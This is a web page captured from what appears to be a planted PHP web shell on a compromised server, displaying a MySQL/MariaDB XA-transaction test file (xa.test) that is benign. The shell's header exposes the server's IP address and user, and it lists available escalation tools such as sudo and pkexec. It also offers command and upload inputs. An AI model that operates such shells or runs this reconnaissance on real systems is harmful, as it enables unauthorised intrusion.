403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/mysql/mysql-test/main/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/mysql/mysql-test/main/xa.test
#
# WL#1756
#
--source include/have_innodb.inc
--source include/not_embedded.inc

# Save the initial number of concurrent sessions
let $count_sessions=1;
disable_service_connection;

call mtr.add_suppression("Deadlock found when trying to get lock; try restarting transaction");
call mtr.add_suppression("InnoDB: Transaction was aborted due to ");

create table t1 (a int) engine=innodb;
xa start 'test1';
insert t1 values (10);
xa end 'test1';
xa prepare 'test1';
xa rollback 'test1';
select * from t1;

xa start 'test2';
--error ER_XAER_RMFAIL
xa start 'test-bad';
insert t1 values (20);
--error ER_XAER_RMFAIL
xa prepare 'test2';
xa end 'test2';
xa prepare 'test2';
xa commit 'test2';
select * from t1;

xa start 'testa','testb';
insert t1 values (30);

--error ER_XAER_RMFAIL
commit;

xa end 'testa','testb';

--error ER_XAER_RMFAIL
begin;
--error ER_XAER_RMFAIL
create table t2 (a int);

connect (con1,localhost,root,,);
connection con1;

--error ER_XAER_DUPID
xa start 'testa','testb';
--error ER_XAER_DUPID
xa start 'testa','testb', 123;

#        gtrid [ , bqual [ , formatID ] ]
xa start 0x7465737462, 0x2030405060, 0xb;
insert t1 values (40);
xa end 'testb',' 0@P`',11;
xa prepare 'testb',0x2030405060,11;

--error ER_XAER_RMFAIL
start transaction;

xa recover;

# uncomment the line below when binlog will be able to prepare
#disconnect con1;
connection default;

xa prepare 'testa','testb';

xa recover;

--error ER_XAER_OUTSIDE
xa commit 'testb',0x2030405060,11;
xa rollback 'testa','testb';

--error ER_PARSE_ERROR
xa start 'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz';

select * from t1;
disconnect con1;
--source include/wait_until_count_sessions.inc
xa rollback 'testb',0x2030405060,11;
xa recover;

connection default;

# MDEV-14593 human-readable XA RECOVER
xa start 'tr1';
insert t1 values (40);
xa end 'tr1';
xa prepare 'tr1';
xa recover format='SQL';
xa rollback 'tr1';

xa start 'tr1', 'bq';
insert t1 values (40);
xa end 'tr1', 'bq';
xa prepare 'tr1', 'bq';
xa recover format='SQL';
xa rollback 'tr1', 'bq';

xa start 'tr1', 'bq', 3;
insert t1 values (40);
xa end 'tr1', 'bq', 3;
xa prepare 'tr1', 'bq', 3;
xa recover format='SQL';
xa rollback 'tr1', 'bq', 3;

xa start 'tr1#$';
insert t1 values (40);
xa end 'tr1#$';
xa prepare 'tr1#$';
xa recover format='SQL';
xa rollback 'tr1#$';

xa start 'tr1#$', 'bq';
insert t1 values (40);
xa end 'tr1#$', 'bq';
xa prepare 'tr1#$', 'bq';
xa recover format='SQL';
xa rollback 'tr1#$', 'bq';

xa start 'tr1#$', 'bq', 3;
insert t1 values (40);
xa end 'tr1#$', 'bq', 3;
xa prepare 'tr1#$', 'bq', 3;
xa recover format='RAW';
--error ER_UNKNOWN_EXPLAIN_FORMAT
xa recover format='PLAIN';
xa recover format='SQL';
xa rollback 'tr1#$', 'bq', 3;

drop table t1;

#
# Bug#28323: Server crashed in xid cache operations
#

--disable_warnings
drop table if exists t1;
--enable_warnings

create table t1(a int, b int, c varchar(20), primary key(a)) engine = innodb;
insert into t1 values(1, 1, 'a');
insert into t1 values(2, 2, 'b');

connect (con1,localhost,root,,);
connect (con2,localhost,root,,);

--connection con1
xa start 'a','b';
update t1 set c = 'aa' where a = 1;
--connection con2
xa start 'a','c';
update t1 set c = 'bb' where a = 2;
--connection con1
--send update t1 set c = 'bb' where a = 2
--connection con2
--sleep 1
--error ER_LOCK_DEADLOCK
update t1 set c = 'aa' where a = 1;
--error ER_XAER_RMFAIL
select count(*) from t1;
--error ER_XAER_RMFAIL
xa end 'a','c';
xa rollback 'a','c';
select count(*) from t1;
--disconnect con2

connect (con3,localhost,root,,);
--connection con3
xa start 'a','c';

--disconnect con1
--disconnect con3
--connection default
drop table t1;

--echo #
--echo # BUG#51342 - more xid crashing
--echo #
CREATE TABLE t1(a INT) ENGINE=InnoDB;
XA START 'x';
SET SESSION autocommit=0;
INSERT INTO t1 VALUES(1);
--error ER_XAER_RMFAIL
SET SESSION autocommit=1;
SELECT @@autocommit;
INSERT INTO t1 VALUES(1);
XA END 'x';
XA COMMIT 'x' ONE PHASE;
DROP TABLE t1;
SET SESSION autocommit=1;

--echo End of 5.0 tests

#
# Bug#44672: Assertion failed: thd->transaction.xid_state.xid.is_null()
#

xa start 'a';
xa end 'a';
xa rollback 'a';
xa start 'a';
xa end 'a';
xa rollback 'a';

#
# Bug#45548: XA transaction without access to InnoDB tables crashes the server
#

xa start 'a';
xa end 'a';
xa prepare 'a';
xa commit 'a';

xa start 'a';
xa end 'a';
xa prepare 'a';
xa commit 'a';

#
# BUG#43171 - Assertion failed: thd->transaction.xid_state.xid.is_null()
#
CREATE TABLE t1(a INT, KEY(a)) ENGINE=InnoDB;
INSERT INTO t1 VALUES(1),(2);
connect(con1,localhost,root,,);

# Part 1: Prepare to test XA START after regular transaction deadlock
BEGIN;
UPDATE t1 SET a=3 WHERE a=1;

connection default;
BEGIN;
UPDATE t1 SET a=4 WHERE a=2;

connection con1;
let $conn_id= `SELECT CONNECTION_ID()`;
SEND UPDATE t1 SET a=5 WHERE a=2;

connection default;
let $wait_timeout= 2;
let $wait_condition= SELECT 1 FROM INFORMATION_SCHEMA.PROCESSLIST
WHERE ID=$conn_id AND STATE='Searching rows for update';
--source include/wait_condition.inc

--error ER_LOCK_DEADLOCK
UPDATE t1 SET a=5 WHERE a=1;
ROLLBACK;

# Part 2: Prepare to test XA START after XA transaction deadlock
connection con1;
REAP;
ROLLBACK;
BEGIN;
UPDATE t1 SET a=3 WHERE a=1;

connection default;
XA START 'xid1';
UPDATE t1 SET a=4 WHERE a=2;

connection con1;
SEND UPDATE t1 SET a=5 WHERE a=2;

connection default;
let $wait_timeout= 2;
let $wait_condition= SELECT 1 FROM INFORMATION_SCHEMA.PROCESSLIST
WHERE ID=$conn_id AND STATE='Searching rows for update';
--source include/wait_condition.inc

--error ER_LOCK_DEADLOCK
UPDATE t1 SET a=5 WHERE a=1;
--error ER_XAER_RMFAIL
XA END 'xid1';
XA ROLLBACK 'xid1';

XA START 'xid1';
XA END 'xid1';
XA ROLLBACK 'xid1';

disconnect con1;
DROP TABLE t1;


--echo #
--echo # Bug#56448 Assertion failed: ! is_set() with second xa end
--echo #

XA START 'x';
XA END 'x';
# Second XA END caused an assertion.
--error ER_XAER_RMFAIL
XA END 'x';
XA PREPARE 'x';
# Second XA PREPARE also caused an assertion.
--error ER_XAER_RMFAIL
XA PREPARE 'x';
XA ROLLBACK 'x';


--echo #
--echo # Bug#59986 Assert in Diagnostics_area::set_ok_status() for XA COMMIT
--echo #

--disable_warnings
DROP TABLE IF EXISTS t1;
--enable_warnings

CREATE TABLE t1(a INT, b INT, PRIMARY KEY(a)) engine=InnoDB;
INSERT INTO t1 VALUES (1, 1), (2, 2);

connect (con1, localhost, root);
XA START 'a';
UPDATE t1 SET b= 3 WHERE a=1;

connection default;
XA START 'b';
UPDATE t1 SET b=4 WHERE a=2;
--echo # Sending:
--send UPDATE t1 SET b=5 WHERE a=1

connection con1;
--sleep 1
--error ER_LOCK_DEADLOCK
UPDATE t1 SET b=6 WHERE a=2;
# This used to trigger the assert
--error ER_XA_RBDEADLOCK
XA COMMIT 'a';

connection default;
--echo # Reaping: UPDATE t1 SET b=5 WHERE a=1
--reap
XA END 'b';
XA ROLLBACK 'b';
DROP TABLE t1;
disconnect con1;


--echo #
--echo # Bug#11766752 59936: multiple xa assertions - transactional
--echo #              statement fuzzer
--echo #

CREATE TABLE t1 (a INT) engine=InnoDB;
XA START 'a';
INSERT INTO t1 VALUES (1);

SAVEPOINT savep;

XA END 'a';
--error ER_XAER_RMFAIL
SELECT * FROM t1;
--error ER_XAER_RMFAIL
INSERT INTO t1 VALUES (2);
--error ER_XAER_RMFAIL
SAVEPOINT savep;
--error ER_XAER_RMFAIL
SET @a=(SELECT * FROM t1);

XA PREPARE 'a';
--error ER_XAER_RMFAIL
SELECT * FROM t1;          # used to cause InnoDB assert
--error ER_XAER_RMFAIL
INSERT INTO t1 VALUES (2); # used to cause InnoDB assert
--error ER_XAER_RMFAIL
SAVEPOINT savep;
--error ER_XAER_RMFAIL
SET @a=(SELECT * FROM t1); # used to cause InnoDB assert
--error ER_XAER_RMFAIL
UPDATE t1 SET a=1 WHERE a=2;

XA COMMIT 'a';
SELECT * FROM t1;
DROP TABLE t1;


--echo #
--echo # MDEV-14609 XA Transction unable to ROLLBACK TO SAVEPOINT
--echo #

CREATE TABLE t1 (c1 INT) ENGINE=INNODB;
XA START 'xa1';
SAVEPOINT savepoint1;
INSERT INTO t1 (c1) VALUES (1),(2),(3),(4);
ROLLBACK TO SAVEPOINT savepoint1;
XA END 'xa1';
XA ROLLBACK 'xa1';
DROP TABLE t1;


--echo #
--echo # Bug#12352846 - TRANS_XA_START(THD*):
--echo #                ASSERTION THD->TRANSACTION.XID_STATE.XID.IS_NULL()
--echo #                FAILED
--echo #

CREATE TABLE t1 (a INT) ENGINE=InnoDB;
CREATE TABLE t2 (a INT) ENGINE=InnoDB;

INSERT INTO t2 VALUES (1); COMMIT;
BEGIN;
INSERT INTO t2 VALUES (2);
UPDATE t2 SET a=a+2;
UPDATE t2 SET a=a-1;

--connect (con2,localhost,root)
XA START 'xid1';
INSERT INTO t1 VALUES (1);
--echo # Sending:
--send DELETE FROM t2

--connection default
let $wait_condition=
  SELECT COUNT(*) = 1 FROM information_schema.processlist
  WHERE state = "Updating"
  AND info = "DELETE FROM t2";
--source include/wait_condition.inc
--sleep 0.1
--send DELETE FROM t1

--connection con2
--error ER_LOCK_DEADLOCK
--reap
--error ER_XA_RBDEADLOCK
XA COMMIT 'xid1';

connection default;

reap;
COMMIT;

connection con2;
# This caused the assert to be triggered
XA START 'xid1';

XA END 'xid1';
XA PREPARE 'xid1';
XA ROLLBACK 'xid1';

connection default;
DROP TABLE t1, t2;
disconnect con2;


#
# MDEV 15217 Assertion `thd->transaction.xid_state.xid.is_null()' failed in trans_xa_start.
#
CREATE TABLE t1 (pk INT PRIMARY KEY) ENGINE=InnoDB;
CREATE TABLE t2 (pk INT PRIMARY KEY) ENGINE=InnoDB;
INSERT INTO t2 VALUES (1),(2);
CREATE TABLE t3 (i INT) ENGINE=InnoDB;

XA BEGIN 'xid1';
REPLACE INTO t1 SELECT * FROM t2;

--connect (con1,localhost,root,,test)
XA BEGIN 'xid2';
--send
INSERT INTO t1 SELECT * FROM t2;

--connection default
REPLACE INTO t2 SELECT * FROM t2;

--connection con1
--error 0, ER_LOCK_DEADLOCK, ER_LOCK_WAIT_TIMEOUT
--reap
--disconnect con1

--connect (con2,localhost,root,,test)
INSERT INTO t3 VALUES (1);
XA BEGIN 'xid3';


#Cleanup
--disconnect con2
--connection default
XA END 'xid1';
XA ROLLBACK 'xid1';
DROP TABLE t1, t2, t3;

--echo #
--echo # MDEV 15532 XA: Assertion `!log->same_pk' failed in
--echo # row_log_table_apply_delete
--echo #

CREATE TABLE t1 (a INT) ENGINE=InnoDB;
INSERT INTO t1 VALUES (1),(2);

--connect (con1,localhost,root,,test)

XA START 'xid';
UPDATE t1 SET a = 5;

--connection default
SET innodb_lock_wait_timeout= 2, lock_wait_timeout= 2;

--error ER_NO_SUCH_TABLE
ALTER TABLE non_existing_table1;

--send ALTER TABLE t1 FORCE;

--connection con1
--error ER_XAER_RMFAIL

ALTER TABLE non_existing_table2;
DELETE FROM t1 LIMIT 1;

--connection default
--error ER_LOCK_WAIT_TIMEOUT
--reap

# Cleanup
--connection con1
XA END 'xid';
XA ROLLBACK 'xid';
DROP TABLE t1;
--disconnect con1
connection default;

--echo #
--echo # MDEV-21766 - Forbid XID with empty 'gtrid'
--echo #
CREATE TABLE t1(a INT) ENGINE=InnoDB;

--error ER_XAER_INVAL
XA BEGIN '';

XA BEGIN '8bytes1x8bytes2x8bytes3x8bytes4x8bytes5x8bytes6x8bytes7x8bytes8x',
         '8bytes1x8bytes2x8bytes3x8bytes4x8bytes5x8bytes6x8bytes7x8bytes8x';
INSERT INTO t1 VALUES(1);
XA END '8bytes1x8bytes2x8bytes3x8bytes4x8bytes5x8bytes6x8bytes7x8bytes8x',
       '8bytes1x8bytes2x8bytes3x8bytes4x8bytes5x8bytes6x8bytes7x8bytes8x';
XA PREPARE '8bytes1x8bytes2x8bytes3x8bytes4x8bytes5x8bytes6x8bytes7x8bytes8x',
           '8bytes1x8bytes2x8bytes3x8bytes4x8bytes5x8bytes6x8bytes7x8bytes8x';
XA ROLLBACK '8bytes1x8bytes2x8bytes3x8bytes4x8bytes5x8bytes6x8bytes7x8bytes8x',
            '8bytes1x8bytes2x8bytes3x8bytes4x8bytes5x8bytes6x8bytes7x8bytes8x';

SET NAMES utf8;
--error ER_PARSE_ERROR
XA BEGIN 'Я_упала_с_сеновала_тормозила_головой'; # 36 characters, 67 bytes
XA BEGIN 'Я_упaлa_c_сеновала_тормозила_головой'; # 36 characters, 64 bytes
XA END 'Я_упaлa_c_сеновала_тормозила_головой';
XA PREPARE 'Я_упaлa_c_сеновала_тормозила_головой';
XA ROLLBACK 'Я_упaлa_c_сеновала_тормозила_головой';
SET NAMES default;

DROP TABLE t1;
--echo #
--echo # MDEV-21659 XA rollback foreign_xid is allowed inside active XA
--echo # MDEV-21854 - xa commit  one phase for already prepared transaction
--echo #              must always error out
--echo #
BEGIN;
--error ER_XAER_OUTSIDE
XA COMMIT 'unknown';
--error ER_XAER_OUTSIDE
XA COMMIT 'unknown' ONE PHASE;
BEGIN;
--error ER_XAER_OUTSIDE
XA ROLLBACK 'unknown';
ROLLBACK;

XA START 'xid1';
--error ER_XAER_OUTSIDE
XA COMMIT 'unknown';
--error ER_XAER_OUTSIDE
XA COMMIT 'unknown' ONE PHASE;
--error ER_XAER_OUTSIDE
XA ROLLBACK 'unknown';
XA END 'xid1';
XA PREPARE 'xid1';
--error ER_XAER_INVAL
XA COMMIT 'xid1' ONE PHASE;
XA ROLLBACK 'xid1';


--echo #
--echo # MDEV-21856 - xid_t::formatID has to be constrained to 4 byte size
--echo #
--error ER_PARSE_ERROR
XA START 'gtrid', 'bqual', 0x80000000;

--source include/wait_until_count_sessions.inc

--echo #
--echo # XA states and SHOW commands
--echo #
create table t1 (pk int primary key) engine=innodb;
xa start 'foo';
insert t1 set pk=1;
xa end 'foo';
xa prepare 'foo';
show status like 'foo';
--query_vertical select table_name,table_comment from information_schema.tables where table_schema='test'
--query_vertical select table_name,table_rows,table_comment from information_schema.tables where table_schema='test'
xa commit 'foo';
drop table t1;

--echo #
--echo # MDEV-22445 Crash on HANDLER READ NEXT after XA PREPARE
--echo #

CREATE TABLE t (a INT KEY) ENGINE=InnoDB;
HANDLER t OPEN AS t;
XA START '0';
SELECT * FROM t;
XA END '0';
XA PREPARE '0';
--error ER_XAER_RMFAIL
HANDLER t READ NEXT;

--echo # Cleanup
XA COMMIT '0';
DROP TABLE t;

--echo #
--echo # End of 10.2 tests
--echo #

#
# MDEV-22002 Assertion `!is_set() || (m_status == DA_OK_BULK && is_bulk_op())'
# failed upon CREATE TEMPORARY SEQUENCE under XA
#

XA BEGIN 'xid';

--error ER_XAER_RMFAIL
CREATE TEMPORARY SEQUENCE s;

XA END 'xid';

XA ROLLBACK 'xid';

XA BEGIN 'xid';

--error ER_XAER_RMFAIL
CREATE SEQUENCE s;

XA END 'xid';

XA ROLLBACK 'xid';

--echo #
--echo # End of 10.3 tests
--echo #

--echo #
--echo # Start of 10.5 tests
--echo #

--echo # MDEV-7974 related
--echo # Check XA state when lock_wait_timeout happens
--echo # More tests added to flush_read_lock.test
connect (con_tmp,localhost,root,,);
set session lock_wait_timeout=1;
create table asd (a int) engine=innodb;
xa start 'test1';
insert into asd values(1);
xa end 'test1';
connection default;
flush table with read lock;
connection con_tmp;
--echo # PREPARE error will do auto rollback.
--ERROR ER_LOCK_WAIT_TIMEOUT
xa prepare 'test1';
show errors;
connection default;
unlock tables;

connection con_tmp;
xa start 'test1';
insert into asd values(1);
xa end 'test1';
xa prepare 'test1';
connection default;
flush tables with read lock;
connection con_tmp;
--echo # LOCK error during ROLLBACK will not alter transaction state.
--ERROR ER_LOCK_WAIT_TIMEOUT
xa rollback 'test1';
show errors;
xa recover;
--echo # LOCK error during COMMIT will not alter transaction state.
--ERROR ER_LOCK_WAIT_TIMEOUT
xa commit 'test1';
show errors;
xa recover;
connection default;
unlock tables;
connection con_tmp;
xa rollback 'test1';
xa recover;
drop table asd;
disconnect con_tmp;
connection default;

--echo # MDEV-30978: a read-only server should still allow the commit of
--echo #             read-only XA transactions
set @sav_read_only=@@global.read_only;
set global read_only=1;

# Commit case
xa start '1';
select 0;
xa end '1';
xa prepare '1';
xa commit '1';

# Rollback case
xa start '2';
select 0;
xa end '2';
xa prepare '2';
xa rollback '2';

--echo # Read-only disconnect case

connect (con1_ro,localhost,root,,);
xa start '3';
select 0;
xa end '3';
xa prepare '3';
disconnect con1_ro;

connection default;
--source include/wait_until_count_sessions.inc
xa recover;
--error ER_XA_RBROLLBACK
xa commit '3';

connect (con2_ro,localhost,root,,);
xa start '4';
select 0;
xa end '4';
xa prepare '4';
disconnect con2_ro;

connection default;
--source include/wait_until_count_sessions.inc
xa recover;
--error ER_XA_RBROLLBACK
xa rollback '4';

set @@global.read_only=@sav_read_only;

--echo # End of 10.5 tests

--echo #
--echo # MDEV-24981 LOAD INDEX may cause rollback of prepared XA transaction
--echo #
create table t1 (f1 integer primary key) engine=innodb;
show create table t1;
xa start 'a';
insert into t1 values (1);
xa end 'a';
xa prepare 'a';
--error ER_XAER_RMFAIL
load index into cache t1 key(primary);
xa commit 'a';
select count(*) from t1;
drop table t1;

--echo #
--echo # MDEV-37315 Assertion `!xid_state.xid_cache_element' failed in trans_xa_rollback
--echo #
create table t1 (a int) engine=innodb;
create table t2 (b int) engine=innodb;
create table t3 (c int) engine=innodb;
insert t1 values (1);
insert t2 values (2);

connect con1,localhost,root;
xa start 'r:foo';
insert t3 values (3);
xa end 'r:foo';
xa prepare 'r:foo';
disconnect con1;
connection default;
--source include/wait_until_count_sessions.inc
xa recover;

xa start 'r:bar';
select * from t1 for update;
connect con2,localhost,root;
xa start 'r:baz';
update t2 set b=12;
send update t1 set a=13;
connection default;
--error ER_XAER_OUTSIDE
xa rollback 'r:foo';
--error ER_LOCK_DEADLOCK,ER_XAER_RMFAIL
select * from t2 for update;
--error ER_XAER_OUTSIDE
xa rollback 'r:foo';
connection con2;
reap;
disconnect con2;
connection default;
xa rollback 'r:bar';
xa rollback 'r:foo';

connect con1,localhost,root;
xa start 'c:foo';
insert t3 values (103);
xa end 'c:foo';
xa prepare 'c:foo';
disconnect con1;
connection default;
xa recover;

xa start 'c:bar';
select * from t1 for update;
connect con2,localhost,root;
xa start 'c:baz';
update t2 set b=102;
send update t1 set a=103;
connection default;
--error ER_XAER_OUTSIDE
xa commit 'c:foo';
--error ER_LOCK_DEADLOCK,ER_XAER_RMFAIL
select * from t2 for update;
--error ER_XAER_OUTSIDE
xa commit 'c:foo';
connection con2;
reap;
disconnect con2;
connection default;
xa rollback 'c:bar';
xa commit 'c:foo';

drop table t1,t2,t3;

--echo # End of 10.11 tests

Youez - 2016 - github.com/yon3zu
LinuXploit